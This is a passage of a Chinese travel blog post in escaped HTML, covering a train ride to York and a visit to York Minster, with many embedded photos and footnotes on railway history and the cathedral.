Bridge）的建筑。可恶，我怎么不在澳大利亚啊。我要在澳大利亚，还需要补充维生素&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;D&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;么？我要跟袋鼠切磋拳术，拯救乌拉圭！&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230304_092108245.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_092108245.d52fba35b84c27db.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_092108245.b8ee0c4b6dae6144.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_092108245.e7372ea41138ec21.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_092108245.b8ee0c4b6dae6144.webp&quot;
	alt=&quot;车内景象&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;我的手机没有斜，是火车斜了。这&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Azuma&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;唯一不晃的时候是停车。我感觉一定是铁轨有问题。说起英国铁轨，铁路刚出现时人们最震惊的是它遇山开山、过坑填坑，是力学上最自然的笔直道路。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;英国的直线式建设不是基于美学，而纯粹是处于技术考虑。英国轨道车辆都是刚性轴，因而线路需要尽可能直：要经过一个急弯时，英式轨道车辆就难以避免出轨。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;1834&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年，美国人发明了转向架，所以可以低成本地按照地势修出曲里拐弯的铁道。曲线轨道要求轴间距要短，最终使得美国人抛弃了欧式的包厢设计，发展出了如今我正坐在其中的美式车厢&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-2&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-2-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-2-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[2]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-2-content&quot;&gt;这段关于铁轨的信息来自于《铁道之旅》第六章。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;不知什么时候可以尝试下美国铁路。希望尝试的时候别脱轨。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230304_095950623.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_095950623.989e17859675186b.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_095950623.6e680e0eb8a34d5e.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_095950623.705735ea6b960090.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_095950623.6e680e0eb8a34d5e.webp&quot;
	alt=&quot;约克站&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;不久，我到站了。下车第一感觉是好冷。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;约克全景&quot;&gt;约克全景&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;巴黎圣母院》和同时期的小说总是会在故事开始前花大篇幅介绍舞台的方方面面。火车的出现终结了城市描写的必要，但我仍然想找个城市尝试下类似的描写。可是我正准备动笔呢，想起了旅行时用的地图。所谓一图胜千言，还是直接看它吧：&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230306_140418928.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230306_140418928.ce7beebd7696e79a.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230306_140418928.3d06ff43458225df.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230306_140418928.8eead79dfc475952.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230306_140418928.3d06ff43458225df.webp&quot;
	alt=&quot;游览时揣在兜里的地图&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;具体的比例尺我也不清楚，但大概三分钟可以步行穿过图中紫色街道的最北边和最南边。出了城墙围成的圈子，约克就全是没有历史而且注视两秒就眼睛疼的红砖建筑了。所以要是旅游的话，走路即可。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;York_Minster&quot;&gt;York Minster&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;教堂外&quot;&gt;教堂外&lt;&#x2F;h3&gt;
&lt;p&gt;到达约克的第一个景点是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;York
Minster。我对它原本没有什么期待。而且从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Petergate&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;进入景点区后首先映入眼帘的是极小的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;St.
Michael-le-Belfrey&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-3&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-3-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-3-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[3]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-3-content&quot;&gt;Guy
Fawkes&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就是在这个教堂受洗的。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;我以为那就是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;16&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;镑门票的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;York
Minster，顿时感觉亏大了。&lt;&#x2F;p&gt;
&lt;p&gt;不过再走两步&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;York
Minster&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就露出了被其他建筑挡住的真身。和旁边的小教堂一对比，宏伟极了。倒是同行者认为不如威斯敏斯特大教堂。我没去过伦敦，这已经是我见过最大的教堂了，所以光凭外观来说我认为很不错&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-4&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-4-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-4-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[4]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-4-content&quot;&gt;我爸说&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-istanbul&#x2F;#%E5%9C%A3%E7%B4%A2%E8%8F%B2%E4%BA%9A%E5%A4%A7%E6%B8%85%E7%9C%9F%E5%AF%BA&quot;&gt;圣索菲亚&lt;&#x2F;a&gt;应该是我去过最大的教堂。但不管实际面积如何，圣索菲亚是清真寺了。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;后来参观地下室时得知诺曼时期的大教堂是白底红色线条装饰，我感觉那个涂装会比现在更好看（会不会是&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;counterstrike.fandom.com&#x2F;wiki&#x2F;Asiimov&quot;&gt;二西莫夫&lt;&#x2F;a&gt;的样子&lt;span class=&quot;halt&quot;&gt;？&lt;&#x2F;span&gt;）&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230304_104121801.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_104121801.d9b44273c924103e.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_104121801.0f2c1c9c1783f102.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_104121801.fe827ccd33a714ef.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_104121801.0f2c1c9c1783f102.webp&quot;
	alt=&quot;见到York Minster的第一眼&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;我之前提过我很纠结经典拍照的事：&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;highland-three-day-trip&#x2F;#%E5%B0%BC%E6%96%AF%E6%B9%96&quot;&gt;照得越完美就越没有自己的痕迹&lt;&#x2F;a&gt;。所以为了体自己在旅途中的不可替代性，我现在认为路上的相片要比景点本身更有回忆的价值（我也不喜欢把自己拍进照片，因为我喜欢复制眼睛看到的景象&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;
&lt;p&gt;上图靠近中心的位置可以看到和建筑黄色石头不相称的白色雕塑（右图是特写&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。那是&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;queen-elizabeth-ii-dies&#x2F;&quot;&gt;前女王&lt;&#x2F;a&gt;的塑像。我好奇和她对称的位置站着谁，结果发现那里是空的（旁边的空位倒是有破碎的鞋&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。同行者问我这些空位站满了怎么办，我指着较小的空位说还有它们。她追问那些也满了怎么办，我也不知道。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230305_121441344.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_121441344.68433f4b1fdbed35.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_121441344.2b938d3c26f6b5ed.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_121441344.f5818a9aaa559579.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_121441344.2b938d3c26f6b5ed.webp&quot;
	alt=&quot;前女王雕像&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;刚刚的照片是教堂西门，或者说入口。从南门出去后可以看到一位趾高气昂、不留胡须、脸都绿了的男性。他是在这附近被拥立为元首的君士坦丁大帝。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230304_122426247.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_122426247.73df49cee7f3d2d1.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_122426247.2e2bd63358b9a50d.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_122426247.018ed8a25f4504b7.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_122426247.2e2bd63358b9a50d.webp&quot;
	alt=&quot;君士坦丁雕塑与York Minster&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;约克最初是罗马殖民军队（第九、第六军团）的驻扎地&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Eboracum。York
Minster&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;所在的地点横跨那时的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Basilica&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Principia。说起古名，如今的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;York&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;来源于很久以后的维京征服者（Jorvik&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。不过同行的人害怕蜡像，所以这次我们没有去&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;JORVIK
Viking Centre，本文自然也不会涉及那里。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;教堂一层&quot;&gt;教堂一层&lt;&#x2F;h3&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230304_105554484.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_105554484.6919c07a34c5619c.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_105554484.4428e2a5bbd7c742.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_105554484.199c4a99592cf761.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_105554484.4428e2a5bbd7c742.webp&quot;
	alt=&quot;钢龙叼着灯&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;诶呦？这不钢龙么？几天不见，不吹风改当灯座了？&lt;&#x2F;p&gt;
&lt;p&gt;一层最好看的应该是&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;melrose-abbey&#x2F;#%E5%BF%83%E8%84%8F&quot;&gt;僧侣集会用的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;chapter
house&lt;&#x2F;a&gt;，那里的尖顶可以在教堂西北边的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Dean’s
Park&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;看到。我很喜欢它室内的样子：&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230304_105857920.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_105857920.ee2c49ca67510911.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_105857920.8aaf27cd14e04997.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_105857920.254490a25bc54ceb.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_105857920.8aaf27cd14e04997.webp&quot;
	alt=&quot;Chapter house尖顶室内的样子&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;走廊里有尖顶骨架的模型，我感觉它的影子有些像卢浮宫的玻璃金字塔——不过也许是没去过，才觉得像吧：&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230304_110434877.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_110434877.3a5a6d027811833f.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_110434877.fe1a4b221ae8559b.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_110434877.a7879a642c9db965.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_110434877.fe1a4b221ae8559b.webp&quot;
	alt=&quot;尖顶骨架模型的影子&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;另外&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;chapter
house&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的墙壁上有无数人头和各种动物（室内的装饰也可以叫滴水兽么&lt;span class=&quot;halt&quot;&gt;？&lt;&#x2F;span&gt;&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。我记得在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Melrose
Abbey&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的导览书里看到，&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;melrose-abbey&#x2F;#%E6%95%99%E5%A0%82&quot;&gt;中世纪时期人们是以玩笑的心态用动物装饰教堂的&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230304_110035287.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_110035287.73c759640a54ddcc.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_110035287.dbccb6f72ef5a983.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_110035287.a4606e2903dcd398.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_110035287.dbccb6f72ef5a983.webp&quot;
	alt=&quot;Chapter housed的猪&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;其实&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;chapter
house&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的方砖也很好看：花纹鲜有重复、排布也不单调。但是椅子太多了，不好照，所以就没照。&lt;&#x2F;p&gt;
&lt;p&gt;只说&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;chapter
house&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;显得我偏心，放一下其他图片吧：&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230304_112444627.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_112444627.5ec593d2a0fa7489.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_112444627.a5107f6a70d77823.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_112444627.c06539a0009fbc34.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_112444627.a5107f6a70d77823.webp&quot;
	alt=&quot;笼子里的人&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230304_113147908.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_113147908.db31fefb2b86f804.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_113147908.a165eb4448928fa0.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_113147908.9f79240d707ee159.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_113147908.a165eb4448928fa0.webp&quot;
	alt=&quot;仍在使用的quire&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;div class=&quot;columns&quot;&gt;
&lt;p&gt;说件趣事：教堂最后方有个像两牙&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.thelaughingcow.com&#x2F;product&#x2F;creamy-original-wedges&#x2F;#nutrition&quot;&gt;The
Laughing
Cow&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;拼成的黑箱子。我同行的朋友害怕棺材，远远看到这个盒子就走不动道了，叫我去确认下。我走近讲解牌，才得知这是装斗篷的箱子。我还是觉得它应该装奶酪。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230304_112315270.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_112315270.75b8cd0af40271c5.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_112315270.7cf6794d837e6ea4.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_112315270.af3866572be397ed.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_112315270.7cf6794d837e6ea4.webp&quot;
	alt=&quot;装斗篷的箱子&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;h3 id=&quot;教堂地下&quot;&gt;教堂地下&lt;&#x2F;h3&gt;
&lt;p&gt;教堂的地下空间被分成了两处，按照顺时针方向参观的话，最先遇到的是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;crypt。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns c9-16&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230304_111256646.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_111256646.a64ecf1dc0707314.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_111256646.cba766338b12d7fc.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_111256646.9c0394f1fa4aae31.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_111256646.cba766338b12d7fc.webp&quot;
	alt=&quot;Doomstone from the first Norman Minster&quot;
	
	
	height=&quot;4080&quot;
	width=&quot;3072&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230304_111536696.MP.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_111536696.MP.a2566c4f7ee4837f.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_111536696.MP.6ce8f43659269c34.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_111536696.MP.d45b5c7239a1fb3c.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_111536696.MP.6ce8f43659269c34.webp&quot;
	alt=&quot;Tomb of Saint William&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;div class=&quot;columns&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230304_111719060.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_111719060.198f26473539ff89.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_111719060.1ac227efb3e9e7a2.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_111719060.44e6a9ac27ec27aa.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_111719060.1ac227efb3e9e7a2.webp&quot;
	alt=&quot;Zig-zag花纹的柱子&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230304_111958518.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
